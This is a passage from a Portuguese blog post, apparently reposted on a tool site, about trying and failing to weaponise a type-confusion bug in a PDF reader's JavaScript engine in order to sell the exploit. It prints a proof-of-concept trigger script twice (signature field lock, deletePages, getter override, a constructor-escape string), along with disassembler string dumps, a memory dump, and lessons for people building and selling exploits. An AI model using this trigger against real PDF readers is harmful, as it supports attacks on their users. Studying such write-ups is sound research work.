até que em certo ponto chegamos ao "PoC final" onde ficamos presos, que é assim: function type_conf(){ app.alert("Starting enhanced memory leak exploit");

root@kitploit:~
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
  "signature_field",
  "signature",
  0,
  [10, 10, 100, 50]
);

gFields.combo = app.activeDocs[0].addField(
  "HAHAHAHAHAH",
  "combobox",
  0,
  [10, 60, 100, 100]
);

// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");

app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");

gLockObj.__defineGetter__('fields', function () {}); 

}

Mas de qualquer forma, por que eu queria incluir parte do nosso, digamos, processo de trabalho? Para mostrar, como já foi mostrado, que desenvolvimento de exploit não é bem uma ciência exata. Uma lição muito importante para novos pesquisadores e jovens pesquisadores em ascensão é perceber que você vai precisar se armar de paciência e determinação (também conhecida como motivação) para muitas vezes ver um pequeno raio de luz que, na maioria das vezes, não será o fim do túnel, mas apenas uma ilusão. Mas não tema, isso faz parte do processo. Então, lição a ser aprendida: você vai perder muito, e eu quero dizer muito tempo mesmo, ao fazer desenvolvimento de exploit. De novo, não tema, isso faz parte do processo de exploração. Agora, como estamos chegando perto do fim deste artigo e história, deixe-me dar mais algumas lições que ganhamos durante nossa jornada.Então, sempre que você vê que o seu objeto não é gravável e somente legível, quando você vê que tentou tudo o que a documentação da API disponível oferece e ainda assim foi além, despejando o que parece ser a API JS disponível, como por exemplo AddcDocID .rdata:050B1EC8 00000007 C AddStr .rdata:050E8E70 00000016 C Sign_Fill_Set_PreText .rdata:050E8E88 00000012 C Sign_Fill_AddText .rdata:050E8E9C 00000017 C Sign_Fill_AddText_Comb .rdata:050E8EE0 0000000F C Sign_Fill_AddX .rdata:050E8EF0 00000011 C Sign_Fill_AddDot .rdata:050E8F04 00000011 C Sign_Fill_Group2 .rdata:050E8F18 00000012 C Sign_Fill_AddLine .rdata:050EB4FC 0000001B C ACTIONANNOT::AddTypeWriter https://helpx.adobe.com/acrobat/kb/adding-watermark-pdf.html .rdata:05114CEC 0000000B C Sound Tool .rdata:05114ED8 0000003D C This function is deprecated. It proceed in signature plugin. .rdata:05114FA8 0000001A C File_Propertions_Security .rdata:05114FC4 0000001D C File_Propertions_Description .rdata:05115000 0000001D C File_Propertions_InitialView .rdata:0511502C 00000016 C File_Propertions_Font .rdata:05115058 0000001A C File_Propertions_Advanced .rdata:051150E0 00000057 C This function is deprecated. Suggest use FROptimizerFlatDocument from Optimize plugin. .rdata:05115138 00000059 C This function is deprecated. Suggest use FRDocProcessSetReviewJS from docprocess plugin. .rdata:05115198 0000005C C This function is deprecated. Suggest use FRDocProcessRemoveReviewJS from docprocess plugin. .rdata:05115348 00000056 C This function is deprecated. Suggest use FROptimizerRunPageFlat from Optimize plugin. .rdata:051153A0 00000062 C This function is deprecated. Suggest use FRDocProcessFlattenDynamicXFADoc from docprocess plugin. .rdata:05115408 00000053 C This function is deprecated. It proceed in OCR plugin of FROCRRunPageOCRPROTO api. .rdata:05115460 0000005D C This function is deprecated. It proceed in OCR plugin of GetOCREngineLocalLanguagePROTO api. .rdata:051154C0 0000005D C This function is deprecated. It proceed in OCR plugin of GetIsExistOCREngineDllTipPROTO api. .rdata:05115520 0000005F C This function is deprecated. It proceed in OCR plugin of GetOCREngineSupportLanguagePROTO api. .rdata:05115610 0000005D C This function is deprecated. Suggest use FRDocProcessGetCreationDate from docprocess plugin. .rdata:05115670 00000066 C This function is deprecated. Suggest use FRDocProcessGetContainedCountInPages from docprocess plugin. .rdata:051156D8 00000060 C This function is deprecated. Suggest use FRDocProcessGetPrefixMatchList from docprocess plugin. .rdata:05115738 00000074 C This function is deprecated. Suggest use FROptimizerReduceFileSize and FROptimizerSetCallBack from Optimize plugin. .rdata:051157B0 0000005C C This function is deprecated. Suggest use FROptimizerShowReduceSizeDlg from Optimize plugin. .rdata:05115BC4 00000019 C CFS_GLOG_V16::LogMessage .rdata:05115BE0 00000070 C c:\phantompdfci\jenkins\workspace\taa-ph-auto-compile\starship\sinkpluginsdk_web\win\src\basic\fs_basicimpl.cpp .rdata:05116020 0000006C C This function is deprecated. Suggest use FRSIGInternalInterfaceGenerateUR3Permission from signature plugin. .rdata:05116090 0000005A C This function is deprecated. Suggest use FRPageFormatAddWatermark from pageformat plugin. .rdata:05116124 00000019 C PageFormat Extension HFT .rdata:05116140 00000063 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateWatermark from pageformat plugin. .rdata:051161A8 0000005D C This function is deprecated. Suggest use FRPageFormatRemoveWatermark from pageformat plugin. .rdata:05116208 00000066 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateWatermark from pageformat plugin. .rdata:05116270 0000005D C This function is deprecated. Suggest use FRPageFormatAddHeaderFooter from pageformat plugin. .rdata:051162D0 00000066 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateHeaderFooter from pageformat plugin. .rdata:05116338 00000060 C This function is deprecated. Suggest use FRPageFormatRemoveHeaderFooter from pageformat plugin. .rdata:05116398 00000069 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateHeaderFooter from pageformat plugin. .rdata:05116408 0000005F C This function is deprecated. Suggest use FRDocProcessIsUsedLogicalPage from docprocess plugin. .rdata:05116468 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo from signature plugin. .rdata:051164D0 00000064 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo3 from signature plugin. .rdata:05116538 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDefaultServer from signature plugin. .rdata:051165A0 0000006B C This function is deprecated. Suggest use FRSIGInternalInterfaceAddSignature3Handler from signature plugin. .rdata:05116610 00000045 C This function is deprecated. It's not be need from signature plugin. .rdata:05116658 00000065 C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetSignatureVerify from signature plugin. .rdata:051166C0 00000066 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDocSigatureCount from signature plugin. .rdata:05116728 00000067 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetSignatureBaseInfo from signature plugin. .rdata:05116790 00000061 C This function is deprecated. Suggest use FRSIGSGBaseHandlerClearSignature from signature plugin. .rdata:051167F8 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerCreateSignatureF from signature plugin. .rdata:05116860 0000005E C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetPosition from signature plugin. .rdata:051168C0 0000004F C This function is deprecated. Suggest use FRSIGRDNCreate from signature plugin. .rdata:05116910 00000050 C This function is deprecated. Suggest use FRSIGRDNDestroy from signature plugin. .rdata:05116960 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwC from signature plugin. .rdata:051169B0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwCN from signature plugin. .rdata:05116A00 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwCN from signature plugin. .rdata:05116A50 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwE from signature plugin. .rdata:05116AA0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwE from signature plugin. .rdata:05116AF0 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwL from signature plugin. .rdata:05116B40 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwL from signature plugin. .rdata:05116B90 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwO from signature plugin. .rdata:05116BE0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwO from signature plugin. .rdata:05116C30 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwOU from signature plugin. .rdata:05116C80 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwOU from signature plugin. .rdata:05116CD0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwST from signature plugin. .rdata:05116D20 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwST from signature plugin. .rdata:05116D70 00000067 C This function is deprecated. Suggest use FRSIGCERTIFICATEINFO related interface from signature plugin. .rdata:05116DD8 00000065 C This function is deprecated. Suggest use FRSIGSEEDVALUEINFO related interface from signature plugin. .rdata:05116E4C 0000003E C This function is deprecated. It proceed in signature plugin. .rdata:0511F140 00000007 C AddImm .rdata:0511F480 0000000A C RowSetAdd .rdata:052A94B8 0000000D C pixAddBorder .rdata:052A94C8 00000019 C pixAddBlackOrWhiteBorder .rdata:052A94E4 00000014 C pixAddBorderGeneral .rdata:052A9510 00000020 C pixAddMultipleBlackWhiteBorders

.rdata:052A95DC 00000015 C pixAddMirroredBorder .rdata:052A9608 00000015 C pixAddRepeatedBorder .rdata:052A9620 00000012 C pixAddMixedBorder .rdata:052A9634 00000016 C pixAddContinuedBorder .rdata:052A964C 00000019 C pixShiftAndTransferAlpha .rdata:052B3028 00000013 C pixAddAlphaToBlend !!!!!!!! .rdata:052B32EC 0000000B C boxaAddBox !!!!!!!!!!!!!!! .rdata:052B35B8 0000000D C boxaaAddBoxa .rdata:052B35E8 00000011 C boxaaExtendArray .rdata:052B35FC 00000017 C boxaaExtendArrayToSize .rdata:052B3614 00000016 C baa has too many ptrs .rdata:052B362C 0000001F C size > 1M boxa ptrs; too large .rdata:052B364C 0000000E C boxaaGetCount .rdata:052B365C 00000011 C boxaaGetBoxCount .rdata:052B3670 0000000D C boxaaGetBoxa .rdata:052B3680 0000000C C boxaaGetBox .rdata:052B368C 00000013 C boxa not retrieved .rdata:052B36F8 00000010 C boxaaInsertBoxa .rdata:052B5E88 00000012 C pixGetInputFormat .rdata:052B5E9C 00000012 C pixSetInputFormat .rdata:052B5EB0 00000013 C pixCopyInputFormat .rdata:052B5EC4 0000000E C pixSetSpecial .rdata:052B5ED4 0000000B C pixGetText .rdata:052B5EE0 0000000B C pixSetText .rdata:052B5EEC 0000000B C pixAddText .rdata:052B667C 0000000C C pixaaAddBox .rdata:052B9268 00000014 C jbAddPageComponents .rdata:052B9D90 0000000D C numaaAddNuma .rdata:052C9BC8 00000010 C sarrayAddString .rdata:052CACB4 00000009 C ptaAddPt .rdata:052CAFB8 0000000B C ptaaAddPta .rdata:0530A890 00000010 C selaAddDwaCombs .rdata:053CADD8 0000000C C squareimage .rdata:053E05C8 00000019 C GdipPrivateAddMemoryFont .rdata:053E078C 00000017 C GdipPrivateAddFontFile .rdata:053E0808 00000015 C AddFontMemResourceEx .rdata:0548401C 00000009 C TPadding .rdata:056D0DA8 0000000D C addListeners .rdata:056D0ED8 0000000C C addMenuItem .rdata:056D0EE4 0000000B C addSubMenu .rdata:056D0F48 00000009 C addIndex .rdata:056D0F60 0000000B C addContact .rdata:056D0F6C 0000000B C addRequest .rdata:056D11B0 00000010 C addEmbeddedFile .rdata:056D12DC 00000008 C addWord .rdata:056D1528 00000009 C addAnnot .rdata:056D1534 00000009 C addField .rdata:056D1540 00000008 C addLink .rdata:056D1548 00000008 C addIcon .rdata:056D1E94 0000000D C Doc.addAnnot .rdata:056D1EA4 0000000D C Doc.addField .rdata:056D1EB4 0000000C C Doc.addLink .rdata:056D1EC0 0000000C C Doc.addIcon .rdata:056D24A8 0000000F C Doc.addAdLayer .rdata:056D5F58 0000000E C addToolButton .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D6668 0000000F C app.addSubMenu .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D7E44 0000000F C FDF.addContact .rdata:05709CF0 0000000F C OBJ_add_object .rdata:05709D00 0000000E C OBJ_add_sigid .rdata:05902BBC 00000012 C addCustomMenuItem .rdata:05902BD0 00000014 C addCustomToolButton .rdata:05902BE4 00000010 C addEventHandler .rdata:059E64A0 0000001E C FillPageComboBox-AddTail -End .rdata:059E64C0 00000010 C View_Panel_Goto .rdata:059E64D0 00000020 C FillPageComboBox-AddTail -Start .rdata:05FE0420 00000077 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomMenuItem@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0497 00000079 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomToolButton@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0510 00000075 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddEventHandler@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:050896AC 00000011 C CAddDictionaries .rdata:05097DD0 00000034 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - Start .rdata:05097E04 00000032 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - End .rdata:05098308 0000001E C CJS_PluginMgr::AddToolButtons

, quando você deveria realmente começar parte do processo de engenharia reversa e tentar entender o que o binário realmente faz, e o seu pseudo-código do IDB se parece com isto um monte de código omitido para caber e não ficar longo WhatsApp Image 2025-04-18 at 17 20 10

E alguém pode dizer que é uma inicialização de classe por causa disso. Errado. Não confie no IDA porque os offsets estavam errados, e mesmo se eu estivesse errado, acredite, você ainda teria que fazer referência cruzada do nome da função e, em 200 referências cruzadas, analisar outras 200 funções para entender e, além disso, resolver dinamicamente no WinDbg cada chamada de função por ponteiro e fazer engenharia reversa disso.

Some-se o fato de que se você tentar algo assim 09f69e70 74 72 75 63 74 6f 72 28-27 72 65 74 75 72 6e 20 tructor('return 09f69e80 74 68 69 73 27 29 28 29-00 00 00 00 00 00 00 00 this')()........ 09f69e90 06 00 01 09 30 1e 6d 0f-00 00 00 00 00 00 00 00 ....0.m......... 09f69ea0 00 00 00 00 e0 bd 6d 0f-10 00 00 00 02 00 00 00 ......m......... 09f69eb0 84 15 f6 09 60 15 f6 09-0a 00 00 00 00 00 00 00 ....`........... 09f69ec0 01 00 00 00 10 00 00 00-10 00 00 00 54 00 69 00 ............T.i. 09f69ed0 6d 00 65 00 73 00 20 00-42 00 6f 00 6c 00 64 00 m.e.s. .B.o.l.d. 09f69ee0 49 00 74 00 61 00 6c 00-69 00 63 00 00 00 00 00 I.t.a.l.i.c..... function type_conf(){ app.alert("Starting enhanced memory leak exploit");

root@kitploit:~
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
  "signature_field",
  "signature",
  0,
  [10, 10, 100, 50]
);

let syntaxString = "a.constructor.constructor('return this')()";


gFields.combo = app.activeDocs[0].addField(
  syntaxString,
  "combobox",
  0,
  [10, 60, 100, 100]
);

// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");

app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");

gLockObj.__defineGetter__('fields', function () {}); 

}

e funciona, mas você não pode ter algo assim let x = "\x41\x41\x41\x41" e usar x como nome do referido objeto no addField. Aí, espere 3:30 horas para carregar o IDB no BinDiff e o IDB não carregar e esgotar 16 GB de memória. Esses são praticamente sinais de que você provavelmente não conseguirá explorar o tal binário.

Então, lição aprendida: se você vir que a maioria das coisas descritas no parágrafo acima acontece, pela sua saúde mental é melhor partir para o próximo exploit do que perder mais 3 semanas apenas para tentar ver se isso é explorável ou não.

Agora que chegamos ao fim da história, vou deixar você com algumas lições finais aprendidas durante esta tentativa de criar e vender um exploit:

  1. Não tenha medo de tentar vender um exploit.
  2. Antes de se envolver em tentar vender um exploit, faça o exploit de fato e depois procure a pessoa para quem você tenta vender o exploit.
  3. Antes de decidir se contentar com uma CVE para armar, leve cerca de 1 mês fazendo pesquisa preliminar antes de partir com tudo.
  4. Tenha em mente que, embora o advisory possa sugerir que isso possa ser transformado em um exploit armado, há muitos obstáculos que não necessariamente têm a ver com o processo do exploit, como: informação insuficiente para conseguir fazer engenharia reversa, complexidade demais (200+ funções para entender uma função), muita decodificação em runtime que precisa ser feita manualmente, funções de API não documentadas, capacidades limitadas de leitura/escrita, nenhum código open source, neste caso 200 mil funções para diff em uma versão, então cerca de 400 mil funções para fazer bindiff no total (a complexidade escala muito rápido aparentemente na exploração do mundo real).
  5. "Saiba quando colocar o último prego no caixão". Isso virá com a experiência conforme mais projetos você tentar. Mas realmente não estique quando não houver necessidade.
  6. Você com certeza vai perder muito tempo, então não seja duro demais consigo mesmo.
  7. Quando você não consegue colocar objetos para substituir objetos e apenas strings, e elas são codificadas como Unicode, e mesmo que você ainda contorne isso, ainda assim não consegue colocar dados do tipo hex para, sei lá, de alguma forma ler, neste caso, se pulverizasse um endereço com SharedArrayBuffer porque não tínhamos informação suficiente para objeto fake, simplesmente parta para o próximo exploit. Finalmente, antes de encerrar este post do blog, vamos deixar nosso código como inspiração. Caso alguém consiga armar a type confusion, por favor nos diga como você fez :)
Baixar ferramenta